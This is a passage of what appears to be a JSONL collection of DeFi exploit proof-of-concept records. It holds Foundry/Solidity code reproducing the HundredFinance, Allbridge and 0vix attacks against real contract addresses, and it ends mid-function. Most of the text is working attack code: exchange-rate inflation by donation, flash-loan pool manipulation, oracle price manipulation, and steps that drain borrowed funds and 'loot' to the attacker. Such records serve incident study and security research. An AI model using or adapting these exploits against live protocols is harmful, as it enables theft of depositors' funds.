console.log(\"*************************************************\");\n console.log(\"\\r\");\n }\n\n function getLiquidationRepayAmount(\n address hToken\n ) public view returns (uint256) {\n uint256 exchangeRate = hWBTC.exchangeRateStored();\n uint256 liquidationIncentiveMantissa = 1_080_000_000_000_000_000;\n uint256 priceBorrowedMantissa = priceOracle.getUnderlyingPrice(address(hToken));\n uint256 priceCollateralMantissa = priceOracle.getUnderlyingPrice(address(hWBTC));\n uint256 hTokenAmount = 1;\n uint256 liquidateAmount = 1e18\n / (\n priceBorrowedMantissa * liquidationIncentiveMantissa\n / (exchangeRate * hTokenAmount * priceCollateralMantissa / 1e18)\n ) + 1;\n return liquidateAmount;\n }\n\n function getETHDrainCreationBytecode(\n address token\n ) public pure returns (bytes memory) {\n bytes memory bytecode = type(ETHDrain).creationCode;\n return abi.encodePacked(bytecode, abi.encode(token));\n }\n\n function gettokenDrainCreationBytecode(\n address token\n ) public pure returns (bytes memory) {\n bytes memory bytecode = type(tokenDrain).creationCode;\n return abi.encodePacked(bytecode, abi.encode(token));\n }\n\n function getAddress(bytes memory bytecode, uint256 _salt) public view returns (address) {\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n return address(uint160(uint256(hash)));\n }\n\n receive() external payable {}\n}\n\ncontract ETHDrain is Test {\n IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);\n ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);\n IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);\n crETH CEtherDelegate;\n\n constructor(\n crETH Delegate\n ) payable {\n console.log(\"First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares\");\n CEtherDelegate = Delegate;\n WBTC.approve(address(hWBTC), type(uint256).max);\n hWBTC.mint(4 * 1e8);\n hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum\n console2.log(\n \"ETHDrain's share in hWBTC:\",\n hWBTC.balanceOf(address(this)),\n \"the WBTC amount in hWBTC:\",\n WBTC.balanceOf(address(hWBTC))\n );\n console.log(\"\\r\");\n\n console.log(\n \"Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)\"\n );\n (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));\n console.log(\"exchangeRate before manipulation:\", exchangeRate_1);\n uint256 donationAmount = WBTC.balanceOf(address(this));\n WBTC.transfer(address(hWBTC), donationAmount); // \"donation\" exchangeRate manipulation\n uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));\n (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));\n console.log(\"exchangeRate after manipulation:\", exchangeRate_2);\n console.log(\"\\r\");\n\n console.log(\"Third setp, Lend tokens from the hEther pool and send to exploiter\");\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(hWBTC);\n unitroller.enterMarkets(cTokens);\n uint256 borrowAmount = CEtherDelegate.getCash() - 1;\n CEtherDelegate.borrow(borrowAmount);\n payable(address(msg.sender)).transfer(address(this).balance);\n console.log(\"\\r\");\n\n console.log(\"Fouth step, redeem WBTC from the hWBTC pool\");\n uint256 redeemAmount = donationAmount - 1;\n console.log(\n \"Calculate the amount of shares represented by the redeem amount:\",\n redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC\n );\n console.log(\n \"another way of calculating, redeemAmount * 1e18 / exchangeRate:\", redeemAmount * 1e18 / exchangeRate_2\n );\n console.log(\n \"Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:\",\n redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC\n );\n hWBTC.redeemUnderlying(redeemAmount);\n console2.log(\n \"after redeem the ETHDrain's share in hWBTC:\",\n hWBTC.balanceOf(address(this)),\n \"the WBTC amount in hWBTC:\",\n WBTC.balanceOf(address(hWBTC))\n );\n console.log(\"\\r\");\n\n console.log(\"Firth step, send WBTC to exploiter\");\n WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));\n console.log(\"\\r\");\n }\n\n receive() external payable {}\n}\n\ncontract tokenDrain is Test {\n IERC20 WBTC = IERC20(0x68f180fcCe6836688e9084f035309E29Bf0A2095);\n ICErc20Delegate hWBTC = ICErc20Delegate(0x35594E4992DFefcB0C20EC487d7af22a30bDec60);\n IUnitroller unitroller = IUnitroller(0x5a5755E1916F547D04eF43176d4cbe0de4503d5d);\n ICErc20Delegate CErc20Delegate;\n\n constructor(\n ICErc20Delegate Delegate\n ) payable {\n console.log(\"First step, Deposit a small amount of WBTC to the empty hWBTC pool to obtain shares\");\n CErc20Delegate = Delegate;\n WBTC.approve(address(hWBTC), type(uint256).max);\n hWBTC.mint(4 * 1e8);\n hWBTC.redeem(hWBTC.totalSupply() - 2); // completing the initial deposit, the shares of hWBTC and the amount of WBTC in hWBTC are at a minimum\n console2.log(\n \"toeknDrain's share in hWBTC:\",\n hWBTC.balanceOf(address(this)),\n \"the WBTC amount in hWBTC:\",\n WBTC.balanceOf(address(hWBTC))\n );\n console.log(\"\\r\");\n\n console.log(\n \"Second step, Donate a large amount of WBTC to the hWBTC pool to increase the exchangeRate(the number of WBTC represented by each share)\"\n );\n (,,, uint256 exchangeRate_1) = hWBTC.getAccountSnapshot(address(this));\n console.log(\"exchangeRate before manipulation:\", exchangeRate_1);\n uint256 donationAmount = WBTC.balanceOf(address(this));\n WBTC.transfer(address(hWBTC), donationAmount); // \"donation\" exchangeRate manipulation\n uint256 WBTCAmountInhWBTC = WBTC.balanceOf(address(hWBTC));\n (,,, uint256 exchangeRate_2) = hWBTC.getAccountSnapshot(address(this));\n console.log(\"exchangeRate after manipulation:\", exchangeRate_2);\n console.log(\"\\r\");\n\n console.log(\"Third setp, Lend tokens from the hToken pool and send to exploiter\");\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(hWBTC);\n unitroller.enterMarkets(cTokens);\n uint256 borrowAmount = CErc20Delegate.getCash() - 1;\n CErc20Delegate.borrow(borrowAmount);\n IERC20 underlyingToken = IERC20(CErc20Delegate.underlying());\n underlyingToken.transfer(msg.sender, borrowAmount); // borrow token and send to exploiter\n console.log(\"\\r\");\n\n console.log(\"Fouth step, redeem WBTC from the hWBTC pool\");\n uint256 redeemAmount = donationAmount;\n console.log(\n \"Calculate the amount of shares represented by the redeem amount:\",\n redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC\n );\n console.log(\n \"another way of calculating, redeemAmount * 1e18 / exchangeRate:\", redeemAmount * 1e18 / exchangeRate_2\n );\n console.log(\n \"Due to the inflation attack, the attacker redeems all previously donated WBTC with a calculated share of:\",\n redeemAmount * hWBTC.totalSupply() / WBTCAmountInhWBTC\n );\n hWBTC.redeemUnderlying(redeemAmount);\n console2.log(\n \"after redeem the toeknDrain's share in hWBTC:\",\n hWBTC.balanceOf(address(this)),\n \"the WBTC amount in hWBT:C\",\n WBTC.balanceOf(address(hWBTC))\n );\n console.log(\"\\r\");\n\n console.log(\"Firth step, send WBTC to exploiter\");\n WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));\n console.log(\"\\r\");\n }\n}\n", "type": "exploit_poc", "protocol": "HundredFinance_2", "date": "2023-04", "file_name": "HundredFinance_2_exp.sol", "attack_vector": "flash_loan", "content_hash": "8b9068a3b9474214", "collected_at": "2026-01-07T10:59:16.547011", "_source": "postmortems", "chain": "ethereum", "block_number": 90760765, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "HundredFinance_2 Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1642372700726505473\n// @Tx\n// https://bscscan.com/tx/0x7ff1364c3b3b296b411965339ed956da5d17058f3164425ce800d64f1aef8210\n\ninterface IPool {\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external returns (uint256 actualToAmount, uint256 haircut);\n\n function deposit(\n uint256 amount\n ) external;\n}\n\ninterface IPool2 {\n function deposit(\n uint256 amount\n ) external;\n function withdraw(\n uint256 amountLp\n ) external;\n}\n\ninterface IBridge {\n function swap(uint256 amount, bytes32 token, bytes32 receiveToken, address recipient) external;\n}\n\ncontract ContractTest is Test {\n function setUp() external {\n vm.createSelectFork(\"bsc\", 26_982_067);\n }\n\n function test_exploit() external {\n Exploit exploit = new Exploit();\n exploit.run();\n }\n}\n\ncontract Exploit {\n IPancakePair pancakeSwap = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 BSC_USD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPool pool_0x312B = IPool(0x312Bc7eAAF93f1C60Dc5AfC115FcCDE161055fb0);\n IPool2 pool_0x179a = IPool2(0x179aaD597399B9ae078acFE2B746C09117799ca0);\n IPool2 pool_0xb19c = IPool2(0xB19Cd6AB3890f18B662904fd7a40C003703d2554);\n IBridge bridge = IBridge(0x7E6c2522fEE4E74A0182B9C6159048361BC3260A);\n\n function run() external {\n console.log(\"hacker BUSD bal before attack is \", BUSD.balanceOf(tx.origin));\n\n // The attacker flashloans $7.5M of BUSD\n pancakeSwap.swap(0, 7_500_000e18, address(this), \"Gimme da loot\");\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n // Swaps $2M BUSD for $2M $BSC-USD in pool_0x312B\n BUSD.approve(address(pool_0x312B), type(uint256).max);\n BSC_USD.approve(address(pool_0x312B), type(uint256).max);\n\n pool_0x312B.swap(address(BUSD), address(BSC_USD), 2_003_300e18, 1, address(this), block.timestamp + 100 seconds);\n\n // Then deposits $5M BUSD into pool 0x179a\n BUSD.approve(address(pool_0x179a), type(uint256).max);\n pool_0x179a.deposit(5_000_000e18);\n\n // Swap BUSD to BSC_USD\n pool_0x312B.swap(address(BUSD), address(BSC_USD), 496_700e18, 1, address(this), block.timestamp + 100 seconds);\n\n // Deposit $2 mil into pool_0xb19c\n BSC_USD.approve(address(pool_0xb19c), type(uint256).max);\n pool_0xb19c.deposit(2_000_000e18);\n\n /*\n The attacker then swaps $500K BSC-USD for $BUSD \n in Allbridge's Bridge contract, resulting in a high \n dividend for the previous liquidity deposit.\n */\n\n bytes32 bsc_usd = 0x00000000000000000000000055d398326f99059ff775485246999027b3197955;\n bytes32 busd = 0x000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56;\n\n uint256 BSC_USD_bal = BSC_USD.balanceOf(address(this));\n bridge.swap(BSC_USD_bal, bsc_usd, busd, address(this));\n\n /*\n The BUSD liquidity in 0x179a is then removed, \n at which point the liquidity balance within \n the 0x179a pool is broken.\n */\n\n pool_0x179a.withdraw(4_830_262_616);\n\n /*\n The attacker was then able to swap out $790,000 \n of BSC-USD from Bridge using only $40,000 of BUSD.\n */\n\n bridge.swap(40_000e18, busd, bsc_usd, address(this));\n\n // Withdraw from pool_0xb19c\n pool_0xb19c.withdraw(1_993_728_530);\n\n // Swap BSC_USD to BUSD in pool_0x312B\n BSC_USD_bal = BSC_USD.balanceOf(address(this));\n pool_0x312B.swap(address(BSC_USD), address(BUSD), BSC_USD_bal, 1, address(this), block.timestamp + 100 seconds);\n\n // Repay flashloan\n BUSD.transfer(address(pancakeSwap), 7_522_500e18);\n\n // Transfer loot to attacker\n BUSD.transfer(tx.origin, BUSD.balanceOf(address(this)));\n\n console.log(\"hacker BUSD bal after attack is \", BUSD.balanceOf(tx.origin));\n }\n}\n", "type": "exploit_poc", "protocol": "Allbridge", "date": "2023-04", "file_name": "Allbridge_exp.sol", "attack_vector": "flash_loan", "content_hash": "a6fda2dc504b0dd2", "collected_at": "2026-01-07T10:59:16.547102", "_source": "postmortems", "chain": "bsc", "block_number": 26982067, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.17, "quality_estimate": "low", "title": "Allbridge Exploit (2023-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport {\n ICErc20Delegate,\n IERC20,\n IUnitroller,\n IAaveFlashloan,\n IBalancerVault,\n Uni_Pair_V2,\n Uni_Pair_V3\n} from \"./../interface.sol\";\n\n// @KeyInfo\n// Project: https://twitter.com/0vixProtocol\n// Date: 2023-04-28\n// Vulnerability : Price Manipulation\n// Description: The root cause is due to the flawed price calculation of a deflation token.\n// Total Lost : ~@2M US$\n// Attack Tx :https://polygonscan.com/tx/0x10f2c28f5d6cd8d7b56210b4d5e0cece27e45a30808cd3d3443c05d4275bb008\n\n// @Sources\n// Twitter : https://twitter.com/BlockSecTeam/status/1651932529874853888\n// Twitter : https://twitter.com/peckshield/status/1651923235603361793\n// Twitter : https://twitter.com/Mudit__Gupta/status/1651958883634536448\n\ninterface IVGHST is IERC20 {\n function enter(\n uint256 _amount\n ) external returns (uint256);\n function leave(\n uint256 _amount\n ) external;\n function convertVGHST(\n uint256 _share\n ) external view returns (uint256 _ghst);\n}\n\ninterface IDMMLP {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata callbackData) external;\n}\n\ninterface IAlgebraPool {\n function token0() external view returns (address);\n function token1() external view returns (address);\n function swap(\n address recipient,\n bool zeroToOne,\n int256 amountSpecified,\n uint160 limitSqrtPrice,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n}\n\ninterface ISwapFlashLoan {\n function swap(\n uint8 tokenIndexFrom,\n uint8 tokenIndexTo,\n uint256 dx,\n uint256 minDy,\n uint256 deadline\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n IERC20 GHST = IERC20(0x385Eeac5cB85A38A9a07A70c73e0a3271CfB54A7);\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);\n IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);\n IERC20 DAI = IERC20(0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063);\n IERC20 WBTC = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6);\n IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);\n IERC20 miMATIC = IERC20(0xa3Fa99A148fA48D14Ed51d610c367C61876997F1);\n IERC20 MATICX = IERC20(0xfa68FB4628DFF1028CFEc22b4162FCcd0d45efb6);\n IERC20 stMATIC = IERC20(0x3A58a54C066FdC0f2D55FC9C89F0415C92eBf3C4);\n IERC20 gDAI = IERC20(0x91993f2101cc758D0dEB7279d41e880F7dEFe827);\n IERC20 wstETH = IERC20(0x03b54A6e9a984069379fae1a4fC4dBAE93B3bCCD);\n IVGHST vGHST = IVGHST(0x51195e21BDaE8722B29919db56d95Ef51FaecA6C);\n ICErc20Delegate oUSDT = ICErc20Delegate(0x1372c34acC14F1E8644C72Dad82E3a21C211729f);\n ICErc20Delegate oMATIC = ICErc20Delegate(0xE554E874c9c60E45F1Debd479389C76230ae25A8);\n ICErc20Delegate oWBTC = ICErc20Delegate(0x3B9128Ddd834cE06A60B0eC31CCfB11582d8ee18);\n ICErc20Delegate oDAI = ICErc20Delegate(0x2175110F2936bf630a278660E9B6E4EFa358490A);\n ICErc20Delegate oWETH = ICErc20Delegate(0xb2D9646A1394bf784E376612136B3686e74A325F);\n ICErc20Delegate oUSDC = ICErc20Delegate(0xEBb865Bf286e6eA8aBf5ac97e1b56A76530F3fBe);\n ICErc20Delegate oMATICX = ICErc20Delegate(0xAAcc5108419Ae55Bc3588E759E28016d06ce5F40);\n ICErc20Delegate ostMATIC = ICErc20Delegate(0xDc3C5E5c01817872599e5915999c0dE70722D07f);\n ICErc20Delegate owstWETH = ICErc20Delegate(0xf06edA703C62b9889C75DccDe927b93bde1Ae654);\n ICErc20Delegate ovGHST = ICErc20Delegate(0xE053A4014b50666ED388ab8CbB18D5834de0aB12);\n IUnitroller unitroller = IUnitroller(0x8849f1a0cB6b5D6076aB150546EddEe193754F1C);\n IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n IAaveFlashloan aaveV2 = IAaveFlashloan(0x8dFf5E27EA6b7AC08EbFdf9eB090F32ee9a30fcf);\n IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IAlgebraPool AlgebraPool1 = IAlgebraPool(0x80DeeCE4befd9F27D2df88064cf75f080d3ce1b2);\n IAlgebraPool AlgebraPool2 = IAlgebraPool(0x55CAaBB0d2b704FD0eF8192A7E35D8837e678207);\n IAlgebraPool AlgebraPool3 = IAlgebraPool(0xe3703608393727C6B3761471d13e064c77c8d836);\n Uni_Pair_V2 SLP = Uni_Pair_V2(0xf69e93771F11AECd8E554aA165C3Fe7fd811530c);\n Uni_Pair_V2 UniV2Pair = Uni_Pair_V2(0xcCB9d2100037f1253e6C1682AdF7dC9944498AFF);\n Uni_Pair_V2 AavegotchiPoolPair = Uni_Pair_V2(0x096C5CCb33cFc5732Bcd1f3195C13dBeFC4c82f4);\n Uni_Pair_V3 UniV3Pair1 = Uni_Pair_V3(0xA374094527e1673A86dE625aa59517c5dE346d32);\n Uni_Pair_V3 UniV3Pair2 = Uni_Pair_V3(0x50eaEDB835021E4A108B7290636d62E9765cc6d7);\n Uni_Pair_V3 UniV3Pair3 = Uni_Pair_V3(0x8f16A8E864162ec84a2906646E08a561b5A7f72d);\n Uni_Pair_V3 UniV3Pair4 = Uni_Pair_V3(0x45dDa9cb7c25131DF268515131f647d726f50608);\n ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x85fCD7Dd0a1e1A9FCD5FD886ED522dE8221C3EE5);\n IDMMLP DMMLP = IDMMLP(0xAb08b0C9DADC343d3795dAE5973925c3b6e39977);\n\n Exploiter exploiter;\n\n // CheatCodes vm = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n vm.createSelectFork(\"polygon\", 42_054_768);\n vm.label(address(GHST), \"GHST\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(USDT), \"USDT\");\n vm.label(address(WMATIC), \"WMATIC\");\n vm.label(address(DAI), \"DAI\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(miMATIC), \"miMATIC\");\n vm.label(address(WMATIC), \"WMATIC\");\n vm.label(address(stMATIC), \"stMATIC\");\n vm.label(address(gDAI), \"gDAI\");\n vm.label(address(wstETH), \"wstETH\");\n vm.label(address(MATICX), \"MATICX\");\n vm.label(address(vGHST), \"vGHST\");\n vm.label(address(oMATIC), \"oMATIC\");\n vm.label(address(oWBTC), \"oWBTC\");\n vm.label(address(oDAI), \"oDAI\");\n vm.label(address(oWETH), \"oWETH\");\n vm.label(address(oUSDC), \"oUSDC\");\n vm.label(address(oMATICX), \"oMATICX\");\n vm.label(address(owstWETH), \"owstWETH\");\n vm.label(address(ovGHST), \"ovGHST\");\n vm.label(address(aaveV3), \"aaveV3\");\n vm.label(address(aaveV2), \"aaveV2\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(AlgebraPool1), \"AlgebraPool1\");\n vm.label(address(AlgebraPool2), \"AlgebraPool2\");\n vm.label(address(AlgebraPool3), \"AlgebraPool3\");\n vm.label(address(SLP), \"SLP\");\n vm.label(address(UniV2Pair), \"UniV2Pair\");\n vm.label(address(AavegotchiPoolPair), \"AavegotchiPoolPair\");\n vm.label(address(UniV3Pair1), \"UniV3Pair1\");\n vm.label(address(UniV3Pair2), \"UniV3Pair2\");\n vm.label(address(UniV3Pair3), \"UniV3Pair3\");\n vm.label(address(UniV3Pair4), \"UniV3Pair4\");\n vm.label(address(DMMLP), \"DMMLP\");\n vm.label(address(swapFlashLoan), \"swapFlashLoan\");\n vm.label(address(unitroller), \"unitroller\");\n }\n\n function testExploit() external {\n deal(address(this), 0);\n exploiter = new Exploiter();\n vGHST.approve(address(ovGHST), type(uint256).max);\n GHST.approve(address(vGHST), type(uint256).max);\n USDT.approve(address(oUSDT), type(uint256).max);\n aaveV3Flashloan();\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"Attacker GHST balance after exploit\", GHST.balanceOf(address(this)), GHST.decimals()\n );\n }\n // aaveV3, aaveV2 FlashLoan callback\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n if (msg.sender == address(aaveV3)) {\n GHST.approve(msg.sender, type(uint256).max);\n USDC.approve(msg.sender, type(uint256).max);\n USDT.approve(msg.sender, type(uint256).max);\n aaveV2Flashloan();\n return true;\n } else {\n USDC.approve(msg.sender, type(uint256).max);\n USDT.approve(msg.sender, type(uint256).max);\n balancerFlashloan();\n console.log(\"6. swap asset to USD and GHST\");\n swapTokenToUSDAndGHST();\n return true;\n }\n }\n\n // balancer FlashLoan callback\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n console.log(\"1. deposit USDT collateral\");\n vGHST.enter(294_000 * 1e18);\n oUSDT.mint(USDT.balanceOf(address(this))); // deposit USDT collateral\n\n console.log(\"2. borrow asset\");\n address[] memory cTokens = new address[](1);\n cTokens[0] = address(oUSDT);\n unitroller.enterMarkets(cTokens);\n borrowAll(); // borrow asset\n\n console.log(\"3. Build leveraged debt positions by USDC collateral\");\n USDC.transfer(address(exploiter), 24_500_000 * 1e6);\n vGHST.transfer(address(exploiter), vGHST.balanceOf(address(this)));\n exploiter.mint(24, address(this)); // Build leveraged debt positions by USDC collateral\n\n console.log(\"4. VGHSTOracle price manipulation\");\n console.log(\"the price of vGHST before donate:\\t\", vGHST.convertVGHST(1e18));\n GHST.transfer(address(vGHST), 1_656_000 * 1e18); // VGHSTOracle price manipulation\n console.log(\"the price of vGHST after donate:\\t\", vGHST.convertVGHST(1e18));\n\n console.log(\"5. liquidate Leveraged Debt and Get back USDC collateral\");\n liquidateLeveragedDebt(); // liquidate Leveraged Debt\n oUSDC.redeem(oUSDC.balanceOf(address(this))); // Get back USDC collateral\n oUSDC.redeemUnderlying(USDC.balanceOf(address(oUSDC))); // ?\n vGHST.leave(vGHST.balanceOf(address(this)));\n\n USDC.transfer(address(Balancer), amounts[0]);\n USDT.transfer(address(Balancer), amounts[1]);\n }\n\n function borrowAll() internal {\n oMATIC.borrow(address(oMATIC).balance);\n oWBTC.borrow(WBTC.balanceOf(address(oWBTC)));\n oDAI.borrow(DAI.balanceOf(address(oDAI)));\n oWETH.borrow(WETH.balanceOf(address(oWETH)));\n oUSDC.borrow(USDC.balanceOf(address(oUSDC)));\n oUSDT.borrow(1_160_000 * 1e6);\n oMATICX.borrow(MATICX.balanceOf(address(oMATICX)));\n ostMATIC.borrow(120_000 * 1e18);\n owstWETH.borrow(wstETH.balanceOf(address(owstWETH)));\n }\n\n function liquidateLeveragedDebt() internal {\n uint256 liquidateAmount = vGHST.balanceOf(address(this));\n for (uint256 i; i < 23; i++) {\n ovGHST.liquidateBorrow(address(exploiter), liquidateAmount, address(oUSDC));\n ovGHST.redeemUnderlying(liquidateAmount);\n }\n ovGHST.liquidateBorrow(address(exploiter), 336_548_170_226_199_618_982_307, address(oUSDC));\n ovGHST.redeemUnderlying(336_548_170_226_199_618_982_307);\n }\n\n function swapTokenToUSDAndGHST() internal {\n wstETHToWETH();\n stMATICToWMATIC();\n MATICXToWMATIC();\n WMATICToGHST();\n WMATICToUSDC();\n WBTCToWETH();\n WETHToGHST();\n WETHToUSDC();\n DAIToUSDT();\n USDCToGHST();\n }\n\n function wstETHToWETH() internal {\n wstETH.transfer(address(DMMLP), wstETH.balanceOf(address(this)));\n DMMLP.swap(0, 314 * 1e18, address(this), new bytes(0));\n }\n\n function stMATICToWMATIC() internal {\n stMATIC.approve(address(Balancer), type(uint256).max);\n IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({\n poolId: 0x8159462d255c1d24915cb51ec361f700174cd99400000000000000000000075d,\n kind: IBalancerVault.SwapKind.GIVEN_IN,\n assetIn: address(stMATIC),\n assetOut: address(WMATIC),\n amount: stMATIC.balanceOf(address(this)),\n userData: new bytes(0)\n });\n IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: false,\n recipient: payable(address(this)),\n toInternalBalance: false\n });\n Balancer.swap(singleSwap, funds, 0, block.timestamp);\n }\n\n function MATICXToWMATIC() internal {\n MATICX.approve(address(Balancer), type(uint256).max);\n IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({\n poolId: 0xb20fc01d21a50d2c734c4a1262b4404d41fa7bf000000000000000000000075c,\n kind: IBalancerVault.SwapKind.GIVEN_IN,\n assetIn: address(MATICX),\n assetOut: address(WMATIC),\n amount: MATICX.balanceOf(address(this)),\n userData: new bytes(0)\n });\n IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: false,\n recipient: payable(address(this)),\n toInternalBalance: false\n });\n Balancer.swap(singleSwap, funds, 0, block.timestamp);\n }\n\n function WMATICToGHST() internal {\n address(WMATIC).call{value: address(this).balance}(\"\");\n AlgebraPool1.swap(address(this), true, 314_000 * 1e18, 4_495_990_861_938_833_545_658_574_552, new bytes(0));\n WMATIC.transfer(address(SLP), 100_000 * 1e18);\n SLP.swap(0, 44_000 * 1e18, address(this), new bytes(0));\n }\n\n function WMATICToUSDC() internal {\n UniV3Pair1.swap(\n address(this), true, int256(WMATIC.balanceOf(address(this))), 70_888_624_962_869_287_903_104, new bytes(0)\n );\n }\n\n function WBTCToWETH() internal {\n UniV3Pair2.swap(\n address(this),\n true,\n int256(WBTC.balanceOf(address(this))),\n 25_729_321_748_246_614_730_688_896_004_128_086,\n new bytes(0)\n );\n }\n\n function WETHToGHST() internal {\n WETH.transfer(address(UniV2Pair), 50 * 1e18);\n UniV2Pair.swap(47_600 * 1e18, 0, address(this), new bytes(0));\n UniV3Pair3.swap(address(this), false, 65 * 1e18, 193_488_308_442_001_139_268_702_034_900, new bytes(0));\n }\n\n function WETHToUSDC() internal {\n UniV3Pair4.swap(address(this), false, 530 * 1e18, 1_998_382_131_994_531_085_392_415_970_245_451, new bytes(0));\n AlgebraPool2.swap(\n address(this),\n false,\n int256(WETH.balanceOf(address(this))),\n 1_998_382_131_994_531_085_392_415_970_245_451,\n new bytes(0)\n );\n }\n\n function DAIToUSDT() internal {\n DAI.approve(address(swapFlashLoan), type(uint256).max);\n swapFlashLoan.swap(1, 3, DAI.balanceOf(address(this)), 150_000 * 1e6, block.timestamp);\n }\n\n function USDCToGHST() internal {\n USDC.approve(address(Balancer), type(uint256).max);\n IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({\n poolId: 0xae8f935830f6b418804836eacb0243447b6d977c000200000000000000000ad1,\n kind: IBalancerVault.SwapKind.GIVEN_IN,\n assetIn: address(USDC),\n assetOut: address(GHST),\n amount: 220_000 * 1e6,\n userData: new bytes(0)\n });\n IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({\n sender: address(this),\n fromInternalBalance: false,\n recipient: payable(address(this)),\n toInternalBalance: false\n });\n Balancer.swap(singleSwap, funds, 0, block.timestamp);\n AlgebraPool3.swap(address(this), true, 900_000 * 1e6, 565_521_259_495_684_628_339_632_353_478_984, new bytes(0));\n USDC.transfer(address(AavegotchiPoolPair), 310_000 * 1e6);\n AavegotchiPoolPair.swap(0, 158_000 * 1e18, address(this), new bytes(0));\n }\n\n function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {\n if (amount0Delta > 0) {\n IERC20(IAlgebraPool(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));\n } else if (amount1Delta > 0) {\n IERC20(IAlgebraPool(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));\n 